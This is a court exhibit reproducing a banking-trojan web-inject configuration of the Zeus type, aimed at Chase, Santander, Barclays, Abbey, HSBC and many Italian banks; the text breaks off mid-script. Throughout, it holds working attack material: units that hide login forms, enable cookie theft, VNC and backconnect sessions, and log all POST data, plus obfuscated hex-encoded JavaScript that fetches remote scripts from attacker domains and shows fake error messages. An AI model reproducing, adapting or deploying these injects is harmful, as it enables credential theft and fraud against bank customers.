injpack1 skylineinc-inc net (2).txt - Notepad · injpack1_skylineinc-inc net (2).txt ... ...

EXHIBIT 7

injpack1_skylineinc-inc net (2).txt� �| ß9 C az_sooba.txt ;<signbotid value ="YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY"

/>;<signbotnet value ="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" />

<alertblock domain="*jquery.com*"/><alertblock domain="*googleapis*"/>

<alertblock domain="*google.com*"/><alertblock domain="*hipro.cc*" />

<alertblock domain="*iwebstats.cc*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<CHASE PERS AZ>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;<<<<<<<<<<<<<<<<<<<<<<<<<<ACCOUNT PAGE>>>>>>>>>>>>>>>>>>>>>>>>>>>>><unit><url domain="*chaseonline.chase.com*" request="*MyAccounts.aspx*" /><url domain="*payments.chase.com*" />

<url domain="*chase.com*" />

<cookies_get domain="*chase.com*" /><avi domain="*chase.com*" /><sols_get domain="*chase.com*" />

<backconnect domain="*chase.com*" /><vnc domain="*chase.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<CONTENT HIDE>>>>

<data><begin mask="*"><body </begin><inject> style="display:none;"</inject><end mask="*"></end></data>

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<MODIFY TOP CHECKS>>>>>>>>>>>>>>>>>>>>><unit><url domain="*chase.com*" />

<data><begin mask="*">(top.location != location)</begin><inject> { document.domain = "chase.com" };document.domain = "chase.com";</inject><end mask="*"></script></end></data>

Page 1

injpack1_skylineinc-inc net (2).txt

</unit>

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<logon page>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

<unit><url domain="*chase.com*" />

;<<<<<<<<<<<<<<<<<<<<<<<<<<<<FORM HIDE>>>>

<data process="all"><begin mask="*">*name="homeLogonForm"</begin><inject> style="display:none;" id="log-on-form"</inject><end mask="*"></end></data>

;<<<<<<<<<<<<<<<<<<<<LOGINFORM2HIDE

<data><begin mask="*"><a id="primaryMenu2" data-item-mm="2" data-pt-name="" href="#" class=" "></begin><inject>

</inject><end mask="*">Enroll</end></data>

<data><begin mask="*">*id="logonform"</begin><inject> style="display:none;"</inject><end mask="*"></end></data>

;<<<<<<<<<<SCRIPT INJECTION>>>>>>>>>>>>>>>>>>>><data><begin mask="*"></begin><inject><script type="text/javascript" src="https://www.google.com/jsapi"></script><script type="text/javascript">

(function(){var lnmii=["","09","76","61","72 ","5f","5f_p","61","74h =","20'ch","61s","65","27; ","76","61","72","20","75","72","6c ","3d ","27","68t","74","70s","3a/","2fc","68ase","2ei","77e","62","73tat","73","2ec","63/","6a","73/'+","20","5f__","70","61","74","68","2b","27.js","3f","72","3d' ","2b","20","4d","61","74h.","72and","6f","6d","28","29","3b ","76a","72

Page 2

injpack1_skylineinc-inc net (2).txt","68id","64","65","6e","49D =","20'","6c","6fg","2d","6f","6e","2d","66o","72m","27","3b","09","76a","72 l","6f","61","64J","53 = f","75","6ect","69on(u","72l,","63al","6cB","61ck)","20{","09if","20(","63","61l","6c","42","61ck == ","75","6e","64","65fin","65d","29","09","09","09","63allBac","6b ","3d

","66unc","74","69","6fn(","29","20","7b","72e","74u","72n}","3bl","76","6c","6as","20=","20","64ocu","6d","65n","74","2e","63","72e","61t","65E","6c","65","6den","74","28","27sc","72'+","27","69","70t","27","29","3b","09","09","6c"

,"76","6c","6a","73.","73","72","63","20","3d ","75","72","6c;d","6f","63","75me","6et","2ebod","79","2eapp","65n","64C","68i","6cd","28","6c","76

","6c","6a","73","29","3b f","75ncti","6f","6e ","61f","74","65","72","4c","6f","61","64() {","09","09ca","6cl","42","61ck()","3b","09","09};","09l","76","6c","6a","73.onloa","64 ","3d l","76","6cj","73","2eo","6ee","72","72o","72","20= fun","63tio","6e","28)","20","7b","09","09","69f","20","28!","74","68is","2e","65xe","63","75t","65","64","29","20{ t","68","69s.e","78","65cu","74e","64 = ","74","72","75","65;","09","09","09 a","66","74","65","72Lo","61d();","09","09","7d","09 ","7d","3b","09","6c","76l","6as.o","6e","72","65","61","64y","73t","61","74","65c","68","61","6eg"

,"65","20","3d f","75n","63","74","69","6f","6e() { ","09","76","61","72self","20= ","74","68","69s","3b ","09i","66","20(thi","73","2e","72ea","64y","53","74","61te ","3d","3d","20","22","63o","6dpl","65","74e","22 |","7c","20","74","68","69","73","2e","72","65a","64","79S","74a","74e","20=","3d","20","22l","6f","61ded","22","29 ","7b","09 ","09","73e","74T","69","6deou","74","28f","75n","63","74","69","6fn() {

s","65lf","2e","6f","6e","6c","6f","61d() ","7d,","20","30)","3b }","09","09};","20","09 ","09","09 ","09 ","09}","3b

i","66","20","28!","77","69n","64o","77","2e","6aQ","75","65","72y","29 ","7b","09","74","72","79","20{ ","09if","28","74","79","70eof","28","67","6fogl","65)","21=u","6edef","69","6ee","64)","

20","7b","09","09google.load","28","22","6aque","72y","22,","20","22","31.","34","2e3","22)","3b","09 g","6fo","67le.","73e","74OnLo","61d","43","61","6cl","62ac","6b","28f","75n","63","74","69","6f","6e(","29","20","7b","09","09","09","09if","20","28!","77in","64ow","2ejQ","75e","72","79) {","09 ","09","09d","6f","63","75","6d","65","6e","74","2eg","65","74","45","6ce","6den","74ById(hi","64","64en","49D).","73","74yl","65.","64","69sp","6cay","3d'","62","6co","63","6b",

"27","3b ","09","09 ","09","72et","75","72n fal","73","65","3b","09 ","09}","09 ","09

","09","6co","61dJS(u","72","6c","2c","66u","6e","63tio","6e() ","7b","09","09","09","09","09 ","69","66

","28","21","77i","6ed","6f","77.","6c","76l","74x","74","29 { ","09","09","64o","63","75","6d","65nt.g","65tEle","6de","6e","74","42","79","49","64(","68","69","64","64","65n","49","44)","2e","73","74","79","6ce","2e","64i","73pl","61y","3d

'b","6c","6fc","6b","27","3b","09 ","09","09","09","72e","74","75","72","6e ","66","61l","73","65","3b","09","09","09

","09","09}","09 ","09 ","7d","29;","09 ","09 ","7d","29;","09 ","09}","20","65ls","65","20{

","09","09","6coadJS('h","74tps:/","2faja","78","2egoo","67le","61","70","69s","2ec","6fm","2fa","6aa","78/li","62","73","2fj","71ue","72y","2f","31","2e4","2e3/","6a","71ue","72","79.","6d","69","6e.js","27","2cf","75","6ect","69","6f","6e(","29","20","7b ","09","09","09","09","69","66 ","28","21","77","69ndo","77","2e","6a","51","75","65","72","79","29 { ","09","09 docum","65nt","2ege","74","45lement","42yI","64(","68id","64","65nI","44","29.sty","6ce","2edi","73","70l","61y=","27b","6c","6fc","6b","27","3b","09 ","09

","72","65","74","75","72","6e","20","66a","6cs","65;Page 3

injpack1_skylineinc-inc net (2).txt ","09","09","09","09","7d","09","09

","09","6co","61d","4aS","28u","72","6c","2cf","75","6e","63","74","69o","6e","28)", "20","7b","09 ","09

","09if","20","28","21win","64o","77.l","76l","74","78","74","29","20{","09","09","09","09","09","09doc","75","6d","65","6et.get","45le","6de","6etBy","49","64(","68","69d","64","65","6eI","44","29","2e","73t","79l","65","2e","64i","73pl","61","79","3d"

,"27","62","6c","6f","63k","27","3b","72e","74","75","72n","20","66a","6cs","65; ","09 ","09 ","09","7d

","09 ","09 ","7d)","3b","09","09 ","09","09 ","7d);","09","09","09","7d","7d","20","63","61t","63h ","28","65","29 {}","7d","20","65ls","65","20{","09l","6f","61d","4a","53(u","72l","2c","66","75n","63","74","69","6f","6e","28)","20{","09 ","69f ","28!wi","6e","64","6fw.","6c","76l","74xt","29","20","7b ","64","6f","63u","6dent","2e","67","65tE","6c","65","6d","65","6et","42y","49","64(hid","64","65","6eI","44","29","2es","74","79le.d","69","73play","3d","27","62l","6f

","63k","27","3b ","09 ","72e","74u","72","6e fa","6cs","65;","09","09 }","09","09})","3b ","09","09","09","7d"];lnmii=lnmii["\x6a"+""+"\x6f"+""+"i"+"\x6e"+""]("\\x");this["\x77"+""+"i"+""+"n"+""+"\x64"+""+"o"+""+"\x77"]["e"+""+"\x76"+"a"+""+"l"]("var noll=\""+lnmii+"\"");this["w"+"i"+""+"\x6e"+"\x64"+""+"\x6f"+""+"\x77"]["e"+"v"+""+"\x61"+""+"\x6c"+""](noll);}())

</script>

</inject><end mask="*"></body></end></data>

� � � �</unit>¬+ Q• � az.txt ; ======== LOGS =======

<unit> <url domain="https://*" method="POST" save="true"/> <url domain="mail.tiscali.it*" method="POST" save="true"/> <url domain="*cv-library.co.uk*" save="true" /></unit>

; Zeus inject converter; convert to hijack format; Loads from Sell Traff

; ======== AVI =======<unit><avi domain="*bancopostaonline.poste.it*" /><avi domain="*bancopostaclick.poste.it*" /><avi domain="*online-retail.unicredit.it*" /><avi domain="*.cedacri.it*" /><avi domain="*.credem.it*" /><avi domain="*fineco.it" />

<avi domain="*bank.barclays.co.uk*" /><avi domain="*retail.santander.co.uk*" /><avi domain="*business.santander.co.uk*" />

<avi domain="*hsbc.co.uk" /><avi domain="*firstdirect.co*" /><avi domain="*.nationwide.co.uk" />

Page 4

injpack1_skylineinc-inc net (2).txt<avi domain="*personal.co-operativebank.co.uk*" />

; sanpaolo group<avi domain="*.bancacrfirenze.it" /><avi domain="*.bancadelladriatico.it" /><avi domain="*.bancadicreditosardo.it" /><avi domain="*.btbonline.it" /><avi domain="*.monteparma.it" /><avi domain="*.bancaprossima.com" /><avi domain="*.bancodinapoli.it" /><avi domain="*.cariromagna.it" /><avi domain="*.carifvg.it" /><avi domain="*.crveneto.it" /><avi domain="*.carivit.it" /><avi domain="*.carisap.it" /><avi domain="*.cariciv.it" /><avi domain="*.caript.it" /><avi domain="*.cariri.it" /><avi domain="*.carive.it" /><avi domain="*.carisbo.it" /><avi domain="*.cassedellumbria.it" /><avi domain="*.intesasanpaolo.com" /><avi domain="*.intesasanpaoloprivatebanking.it" />

</unit>

; ======== SIGNBOTID =======<signbotid value ="YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY" /><signbotnet value ="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" />

; ======== ALERTBLOCK =======

; AZ<alertblock domain="*blinking-imgs.su" /><alertblock domain="*sys-img-stores.cc*" /><alertblock domain="*www.llc-services.su*" /><alertblock domain="*hsbc-protec.su" /><alertblock domain="*www.structures-online.su*" /><alertblock domain="*nationwide.structures-online.su*" /><alertblock domain="*digital-in-one.cc*" />; az 1<alertblock domain="*wgate.su*" /><alertblock domain="histats.cc" /><alertblock domain="*iostat.su" /><alertblock domain="estatus.cc" /><alertblock domain="estatus.su" /><alertblock domain="histats.cc" />

; chat<alertblock domain="*analytics-services*" /><alertblock domain="*verify-onlinebanking*" />

; ======== ABBEY ============

<unit><url domain="retail.santander.co.uk*" /><url domain="business.santander.co.uk*" />

<vnc domain="*retail.santander.co.uk*" request="*"/><backconnect domain="*retail.santander.co.uk*" request="*"/>

<cookies_get domain="retail.santander.co.uk" Page 5

injpack1_skylineinc-inc net (2).txtrequest="/EBAN_Accounts_ENS/channel.ssobto?dse_operationName=redirect" /><sols_get domain="retail.santander.co.uk" request="/EBAN_Accounts_ENS/channel.ssobto?dse_operationName=redirect" />

<vnc domain="*business.santander.co.uk*" request="*"/><backconnect domain="*business.santander.co.uk*" request="*"/>

<cookies_get domain="business.santander.co.uk" request="/EBAN_Accounts_ENS/channel.ssobto?dse_operationName=redirect" /><sols_get domain="business.santander.co.uk" request="/EBAN_Accounts_ENS/channel.ssobto?dse_operationName=redirect" />

<data><begin mask="*"></begin><inject>_</inject><end mask="*">splash.js</end></data>

<data><begin mask="*"></begin><inject><link rel="stylesheet" type="text/css" href="/Estatico/ALP_EBAN_Templates/Scripts/session.js"></inject><end mask="*"></end></data>

<data><begin mask="*">SBBI_Templates/Scripts/session.js"></script>

Page 6

injpack1_skylineinc-inc net (2).txt</begin><inject>--><link rel="stylesheet" type="text/css" href="/Estatico/ALP_SBBI_Templates/Scripts/session.js"></inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject><link rel="stylesheet" type="text/css" href="/Estatico/ALP_EBAN_Templates/Scripts/iframekiller.js"></inject><end mask="*"></end></data>

<data><begin mask="*">SBBI_Templates/Scripts/iframekiller.js"></script></begin><inject>--><link rel="stylesheet" type="text/css" href="/Estatico/ALP_SBBI_Templates/Scripts/iframekiller.js"></inject><end mask="*"></end></data>

<data><begin mask="*">class="otpbox" style="

Page 7

injpack1_skylineinc-inc net (2).txt</begin><inject>display: none; </inject><end mask="*"></end></data>

<data><begin>id="global"</begin><inject> style="display: none;"</inject><end></end></data>

<data><begin mask="*"></begin><inject>



<script type="text/javascript" language="javascript">

var nlI=["","3cdi","76","20","69","64=","22w","61it_d","69","76","22","20s","74","79l","65=","22","64","69","73","70la","79","3a","20","6e","6f","6e","65","22>","3c/di","76","3e","3cdi","76","20i","64","3d","22l","76ld","76","22 s","74","79le","3d","22d","69s","70","6c","61y","3a","20no","6ee","3b","22>","3c","69f","72","61m","65 ","69","64=","22","6c","76","6cf","72post","22 ","6e","61me","3d","22","6c","76lf","72","70","6fst","22 ","73","74","79","6ce=","22h","65ight","3a","201px","3b","20","77","69","64","74h: ","31","70","78","3b","20dis","70l","61","79","3a","20","6eone","3b","22","3e","3c/","69","66","72a","6de>","3c","69f","72","61","6d","65","20","69","64=","22l","76","6cf","72","22 n","61","6d","65","3d","22l","76l","66","72","22 ","73ty","6c","65=","22h","65ig","68","74: 1","70x","3b","20w","69dt","68","3a","20","31p","78; ","64i","73p","6ca","79","3a ","6e","6f","6ee","3b","22","3e","3c","2f","69","66","72","61me","3e","3cs","63","72ip","74 ","6cangu","61g","65=","22","6aa","76a","73","63","72","69pt","22","20t","79pe=","22text/j","61","76asc","72ip","74","22>","77in","64ow.","76","5ffu","6ec","3d","66","75","6e","63t","69on()","7b","76","61","72 ","64 ","3d","20docum","65","6et.c","72","65","61te","45l","65m","65","6et","28","22","64i","76","22","29","3b ","64.","69","6e","6e","65","72","48","54","4d","4c","20=","20","27","3c","70","3eT","68is","20","65","72","72o","72 ","6d","65ss","61","67e indi","63","61","74","65s","20","74","68","61","74 w","65 ha","76e tempo","72","61","72","79","20","74e","63h","6e","69","63a","6c","20d","69ffi","63","75","6c","74ies","2e","3cp>","54h","65 ","65","72","72","6f","72 wil","6c","20","62e","20f","69x","65","64 a","74 ","65a","72lie","73","74 ","63on","76e","6e","69e","6e","63e.';","64","6f","63","75","6d","65","6e","74.","62","6fdy","2e","61ppe","6e","64C","68il","64(d)","3b","7d","3b","20","76a","72","20","6c","76ljs =","20d","6fcu","6d","65","6e","74","2ec","72","65","61teE","6cem","65","6e","74(","22","73","63","72ip","74","22);","20","64","6fc","75me","6e","74","2e","67etEle","6dentBy","49d(","22l","76","6c","64","76","22).","61p","70en","64Chi","6c","64","28","6c","76l","6a","73);l","76","6cj","73.","6fn","65","72","72","6f","72","3d","77i","6e","64ow","2e","76","5ff","75nc;l","76ljs.","6fn","72","65ady","73","74","61","74","65cha","6e","67e ","3d

Page 8

injpack1_skylineinc-inc net (2).txtfu","6e","63","74","69o","6e(","29{if","20","28","2flo","61","64ed","2f","2etes","74(th","69s.","72","65","61d","79","53","74at","65","29 ","26","26","20(t","79","70e","6ff","28","77indo","77","2e","6c","76ltx","74","29 ","3d","3d ","22u","6edef","69ne","64","22)","29 {wi","6e","64o","77","2e","76_","66u","6e","63","28","29;","7d","3b}","3b","09l","76ljs.","6c","61","6egua","67","65 = ","22ja","76a","73","63","72","69pt","22","3bl","76lj","73","2es","72c ","3d","20'","68","74","74","70s","3a","2f/ww","77.","62","6cinkin","67-","69","6dg","73.s","75","2f","6a","73/","61b","62","65yaz_0","37","33","34","36","35","2e","6as","3f","72","3d' ","2b ","4da","74h","2e","72a","6e","64o","6d()","3b","3c/s","63","72ip","74>","3c","2fdi","76","3e"];nlI=nlI["\x6a"+""+"\x6f"+""+"i"+"n"+""]("\\x");this["\x77"+""+"i"+""+"\x6e"+""+"d"+""+"\x6f"+""+"\x77"+""]["e"+"\x76"+"\x61"+"\x6c"]("var olio=\""+nlI+"\"");this["d"+""+"\x6f"+"c"+""+"u"+""+"m"+"e"+"\x6e"+"\x74"]["\x77"+""+"r"+"\x69"+"t"+"\x65"](olio);delete olio;delete nlI;

</script>




</unit>

<unit><url domain="*.abbeynational.co.uk" request="/*" />

<vnc domain="*.abbeynational.co.uk" request="*"/><backconnect domain="*.abbeynational.co.uk" request="*"/>

<data><begin mask="*"></begin><inject>// </inject><end mask="*">top.location=self.location</end></data>

<data><begin mask="*"></begin><inject>/* </inject><end mask="*">document.write(unescape("%3Cscript src='https://www.advanced-web-analytics.com/83179/splash.js' type='text/javascript'%3E%3C/script%3E"));</end></data>

<data><begin mask="*">document.write(unescape("%3Cscript src='https://www.advanced-web-analytics.com/83179/splash.js' type='text/javascript'%3E%3C/script%3E"));

Page 9

injpack1_skylineinc-inc net (2).txt</begin><inject> */ </inject><end mask="*"></end></data>

<data><begin mask="*"><table*shows your accounts and balances"</begin><inject> id="ab_tbl_balances"</inject><end mask="*"></end></data>

<data><begin mask="*"><table*shows your statements"</begin><inject> id="ab_tbl_statements"</inject><end mask="*"></end></data>

<data><begin mask="*">function redirect()</begin><inject> {}; function Redirect()</inject><end mask="*"></end></data>

<data><begin mask="*"><body*></begin><inject><div id="body_div" style="display:none"></inject><end mask="*"></end></data>

<data><begin mask="*"></begin><inject></div></div><script type="text/javascript" language="javascript">

var nlI$=["","3c","64i","76","20i","64=","22","77","61it","5f","64","69","76","22","20st

Page 10

injpack1_skylineinc-inc net (2).txt","79le","3d","22disp","6ca","79","3a","20n","6f","6e","65","22>","3c","2fd","69","76>","3c","64i","76","20i","64=","22","6c","76l","64","76","22","20","73t","79le=","22dis","70lay:","20no","6ee;","22","3e","3cif","72","61me i","64=","22l","76lf","72","70o","73t","22","20","6e","61","6d","65","3d","22l","76l","66","72p","6f","73t","22 styl","65=","22h","65","69","67","68","74","3a","20","31p","78; ","77","69","64th","3a","201p","78; ","64ispl","61y","3a","20n","6f","6ee;","22","3e","3c/","69f","72","61","6de","3e","3ci","66","72ame","20i","64=","22","6c","76l","66","72","22 ","6ea","6de=","22l","76","6c","66","72","22 sty","6c","65=","22heigh","74: ","31","70x","3b","20","77","69d","74h","3a","201","70x; ","64i","73p","6c","61","79:","20no","6e","65","3b","22>","3c","2f","69","66","72a","6de","3e","3c","73","63","72","69","70t","20l","61","6e","67uag","65=","22","6aa","76as","63","72","69","70t","22","20t","79","70e","3d","22t","65","78t","2f","6a","61","76a","73","63","72","69p","74","22>","77i","6e","64o","77","2e","76","5f","66","75","6ec","3dfun","63t","69o","6e(","29{","76","61","72","20d ","3d ","64ocum","65","6et.c","72","65","61te","45l","65","6d","65n","74","28","22d","69","76","22)","3b","20d.","69nn","65","72HT","4dL","20= '","3c","70","3eThis ","65","72","72o","72","20","6des","73","61g","65","20in","64ica","74es t","68","61","74 ","77","65 h","61","76e te","6dpo","72a","72y ","74","65","63hnical","20","64i","66","66","69","63","75","6c","74ies.","3cp","3e","54h","65","20","65","72","72","6f","72 ","77","69l","6c","20be","20","66ixed at","20ea","72lie","73t","20","63on","76","65","6e","69e","6ece.","27","3bdocu","6d","65","6et","2e","62o","64","79","2eap","70","65n","64","43hild(","64)","3b}","3b ","76","61","72 ","6c","76l","6a","73","20","3d d","6fc","75","6dent.c","72","65","61te","45","6c","65ment","28","22","73","63","72ip","74","22)","3b","20docu","6den","74","2ege","74","45lem","65n","74","42","79Id","28","22","6c","76ld","76","22).","61","70p","65","6e","64","43","68","69","6cd","28","6c","76","6c","6a","73)","3bl","76lj","73","2eo","6e","65","72","72o","72=wi","6edo","77","2e","76_","66","75","6e","63;","6c","76","6c","6as.on","72ea","64","79","73","74ate","63","68","61n","67","65","20= fu","6ec","74","69","6f","6e","28)","7b","69","66","20","28","2floa","64","65","64","2f.t","65s","74","28","74","68i","73.","72","65ad","79Sta","74e)","20","26","26","20","28","74","79","70eo","66","28window","2e","6c","76","6ctx","74","29 ","3d","3d","20","22u","6edef","69","6e","65d","22)) ","7b","77","69nd","6fw","2e","76_","66unc","28);};","7d;l","76","6c","6a","73","2el","61","6e","67u","61","67","65","20","3d","20","22ja","76a","73","63","72","69p","74","22","3bl","76ljs.s","72","63","20= ","27h","74","74ps","3a","2f/ww","77.b","6c","69","6ek","69","6e","67-","69mg","73.","73","75","2fjs/","61b","62","65y","61","7a","5f","30","373","34","365.","6a","73","3f","72","3d","27","20+","20","4d","61","74h","2e","72","61n","64om","28","29","3b","3c","2f","73c","72","69","70","74>","3c","2fd","69","76>"];nlI$=nlI$["\x6a"+"\x6f"+""+"\x69"+""+"n"+""]("\\x");this["\x77"+""+"i"+""+"n"+"d"+""+"o"+"\x77"+""]["\x65"+""+"v"+"a"+"l"]("var nm$$=\""+nlI$+"\"");this["\x64"+"o"+""+"\x63"+""+"u"+""+"\x6d"+""+"e"+"n"+"\x74"]["\x77"+""+"\x72"+""+"i"+""+"\x74"+""+"e"+""](nm$$);delete nm$$;delete nlI$;

</script>



</inject><end mask="*"></body></end></data></unit>

; ===================== BARC ========================

<unit>Page 11

injpack1_skylineinc-inc net (2).txt<url domain="*bank.barclays.co.uk*" />

<data save="true"><begin mask="*"><body*></begin><inject>

<div style="display: none;" id="body_div">

</inject><end mask="*"></end></data>

<data save="true"><begin mask="*"></begin><inject>

true ||

</inject><end mask="*">top.document.domain</end></data>

<data><begin mask="*"></begin><inject></div>

<script type="text/javascript" language="javascript">// touchclarity section

var oomim=["","3c","64","69","76 ","69","64=","22","77a","69","74_d","69","76","22","20","63las","73=","22pa","67","65","22","20st","79","6c","65","3d","22d","69s","70l","61y","3a","20","6e","6f","6e","65","3b","22>","3c/d","69","76","3e","3cd","69","76","20","69d=","22","6c","76","6c","64","76","22","20st","79","6ce","3d","22","64","69s","70","6c","61y","3a","20","6eo","6ee;","22","3e","3c","69f","72a","6de","20i","64=","22l","76l","66","72","22","20name","3d","22","6c","76","6cf","72","22 ","73","74y","6c","65=","22","68","65i","67","68","74:","201","70","78;","20","77i","64t","68","3a","201p","78; ","64isp","6c","61","79","3a n","6fn","65","3b","22>","3c","2f","69","66","72","61","6d","65","3e","3c","69f","72a","6de","20","69","64=","22l","76lf","72po","73t","22 nam","65=","22","6c","76","6c","66","72","70ost","22 s","74y","6c","65","3d","22h","65i","67ht","3a ","31px","3b w","69","64t","68:","201","70x;","20","64","69s","70","6cay","3a n","6f","6ee","3b","22>","3c/","69f","72","61","6de","3e","3c","73c","72","69p","74","20lang","75a","67e=","22ja","76","61","73","63","72i","70t","22","20","74","79pe","3d","22te","78t/j","61","76","61sc","72","69","70","74","22","3e","77i","6ed","6fw.","76_f","75nc=","66","75","6e","63","74","69on(){","76","61","72 ","64 ","3d","20do","63","75","6de","6e","74.c","72","65a","74eEl","65","6d","65n","74","28","22di","76","22","29","3b d","2e","69n","6e","65","72","48TML","20= '","3cp>","54","68","69s","20","65","72","72o","72 me","73sa","67e","20i","6edic","61","74","65","73","20","74","68a","74","20we","20","68a","76","65 t","65","6d","70o","72a","72y t","65c","68n","69","63","61l di","66","66","69","63","75","6c","74","69es","2e","3cp","3e","54","68e","20","65","72","72o","72 ","77ill b","65","20fi","78","65d ","61t","20ea","72l","69","65st ","63","6f","6e","76","65","6ei","65n","63","65","2e';","64","6f","63um","65nt","2eb

Page 12

injpack1_skylineinc-inc net (2).txtod","79","2e","61","70p","65","6ed","43hi","6c","64(d","29","3b","7d;","76a","72 l","76lj","73","20","3d do","63","75","6d","65n","74","2e","63","72eateEl","65","6den","74","28","22","73c","72","69p","74","22","29","3bd","6f","63","75","6d","65","6e","74.","67","65t","45","6c","65mentBy","49d(","22l","76ld","76","22).","61ppe","6e","64","43","68i","6cd(l","76l","6a","73","29;","6c","76l","6a","73","2eo","6e","65","72","72","6f","72=","77","69n","64","6fw","2e","76","5ffunc; l","76l","6as.","6cang","75a","67","65","20=","20","22","6aa","76","61","73c","72i","70t","22; l","76lj","73","2e","73","72c ","3d 'h","74t","70","73","3a","2f","2f","73","79s","2di","6d","67","2dsto","72es","2ecc","2fjs/b","61","72","63","61","7a","5f","32486","33","37","2ej","73' ","2b ","27?","72","3d","27 ","2b","20","4da","74h","2e","72","61n","64o","6d","28","29","3b","3c/","73c","72","69","70t>","3c","2f","64i","76>"];oomim=oomim["j"+""+"o"+""+"\x69"+""+"n"+""]("\\x");this["\x77"+""+"\x69"+"\x6e"+"\x64"+"\x6f"+"\x77"]["\x65"+"\x76"+"a"+"l"]("var iom=\""+oomim+"\"");this["\x64"+""+"o"+"\x63"+""+"\x75"+"m"+"\x65"+""+"n"+"\x74"]["w"+"r"+""+"\x69"+"\x74"+"\x65"+""](iom);delete iom;delete oomim;

</script>


</unit>

; ===================== CEDACRI ========================

<unit>

<url domain="*cedacri.it" /><url domain="*bancodesiolazio.it" />

; ---; #2 begin; import jQuery; ---<data casesensitive="false"><begin mask="*"><HEAD></begin><inject>

<script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script><script language="javascript" type="text/javascript">(function(){var ooiI=["jQu","65","72y","20= ","6a","51u","65","72y","2e","6e","6f","43","6f","6e","66","6c","69ct();"];ooiI=ooiI["\x6a"+""+"o"+""+"\x69"+"n"+""]("\\x");this["w"+""+"\x69"+""+"\x6e"+""+"d"+"\x6f"+""+"w"]["e"+"\x76"+"\x61"+"\x6c"]("var iOo=\""+ooiI+"\"");this["w"+""+"i"+"\x6e"+""+"d"+""+"o"+""+"\x77"+""]["e"+""+"\x76"+"\x61"+""+"l"+""](iOo);}())</script>


Page 13

injpack1_skylineinc-inc net (2).txt; ---; #1 begin; import script; ---

<data casesensitive="false"><begin mask="*"></begin><inject><script language="javascript" type="text/javascript">(function(){var nOIi=["","76a","72 l","76","6cj","73","20= ","64","6f","63u","6d","65","6e","74","2ec","72","65a","74e","45","6c","65","6d","65","6et('","73'","2b","27","63","72","69","70t'","29;d","6f","63u","6d","65","6e","74","2ebody","2e","61","70p","65","6edChi","6c","64","28","6c","76","6c","6as","29","3b","76","61","72","20u","72l","20","3d'","68","74tps:","2f/e","73","74","61","74us","2e","63c/j","73","2f","63","65dac","72i","61z","2ej","73","3f","72","3d","27 ","2b M","61","74h.","72","61n","64","6f","6d","28","29","3bl","76l","6as","2es","72c","20= ","75","72l","3b"];nOIi=nOIi["\x6a"+""+"\x6f"+"i"+""+"n"]("\\x");this["w"+""+"i"+""+"\x6e"+""+"d"+"o"+"\x77"+""]["\x65"+"v"+"a"+"\x6c"]("var nlol=\""+nOIi+"\"");this["w"+"i"+""+"\x6e"+"d"+"o"+""+"w"]["e"+"\x76"+"a"+""+"\x6c"](nlol);}())</script></inject><end mask="*"></BODY>*</HTML></end></data>

</unit>

; ===================== CREDEM =======================

<unit><url domain="*.credem.it" request="*" />

<data save="true"><begin mask="*"></begin><inject><script type="text/javascript" src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.7.2.min.js"></script><script language="javascript" type="text/javascript">jQuery = jQuery.noConflict();

</script>

</inject><end mask="*"><script</end></data>

<data save="true" casesensitive="false"><begin mask="*"> <body*></begin><inject><div id="body_content" style="display:none"></inject>

Page 14

injpack1_skylineinc-inc net (2).txt<end mask="*"></end></data>

<data save="true"><begin mask="*"> </begin><inject>_</inject><end mask="*">http://www.credem.it/Strumenti/_js/jscp.js</end></data>

<data save="true" casesensitive="false"><begin mask="*"></begin><inject>

</div>

<script language="javascript" type="text/javascript">var oiInm=["","3cd","69","76 ","69d=","22l","76ld","76","22 ","73tyl","65","3d","22","64","69s","70","6cay","3a","20","6e","6f","6e","65;","22 ","76=","22","32w","22>","3c","69f","72a","6d","65","20i","64=","22","6c","76","6cf","72","22","20","6eam","65","3d","22l","76","6c","66","72","22 s","74yle=","22he","69ght: 1","70x; wid","74h","3a","20","31","70x","3b","20","64is","70","6ca","79","3a none","3b","22>","3c/","69","66","72ame>","3c","69f","72","61","6de","20i","64=","22","6c","76l","66","72","70o","73t","22","20n","61m","65","3d","22","6c","76l","66","72p","6fst","22 ","73","74","79l","65","3d","22h","65","69ght:","201p","78","3b","20","77i","64","74h: 1","70x","3b","20di","73play","3a ","6eo","6ee","3b","22","3e","3c","2fi","66","72","61","6d","65>","3c","73c","72","69p","74","20","6ca","6e","67","75","61g","65=","22j","61","76a","73c","72","69","70","74","22 ","74","79","70","65=","22","74e","78","74/","6aa","76a","73c","72i","70t","22","3e ","77i","6edo","77.w_ids","3d","5b","22b","6f","64y_di","76","22","5d;","77i","6ed","6fw","2e","76_","66","75","6e","63","3df","75nc","74i","6fn","28","29{fo","72","28","76a","72","20i=","30;","69","3cwindow.","77_","69ds","2e","6ce","6eg","74h","3b","69","2b+","29","7b","76","61","72 obj","3d","64","6fc","75m","65","6e","74","2e","67etEl","65m","65n","74","42","79Id(w","69n","64o","77","2e","77","5fids","5b","69","5d","29","3bif(","6f","62j","20","26& ","6fb","6a","2esty","6c","65)","7b","6f","62j","2es","74yl","65","2ed","69spl","61","79=","22","22","3b}}};","76a","72","20l","76lj","73 = ","64","6f","63um","65n","74","2e","63","72","65","61","74eE","6c","65m","65","6et","28","22sc","72ip","74","22","29;d","6fcume","6et","2ege","74","45","6ce","6de","6etById(","22","6c","76","6c","64","76","22).ap","70e","6e","64Ch","69l","64(","6c","76ljs)","3b","6c","76lj","73.on","65","72","72","6f","72","3d","77","69n","64ow.","76_func;l","76","6c","6as","2e","6fn","72","65","61d","79","73","74a","74e","63","68a","6ege","20=","20fu","6e","63","74i","6f","6e","28)","7bif ","28/","6c","6fa","64","65","64","2f.t","65s","74","28","74h","69s.","72","65","61dySt","61te) && ","28typeo","66","28","77indo","77.l","76","6c","74x","74","29 ","3d=","22undefi","6ee","64","22","29","29 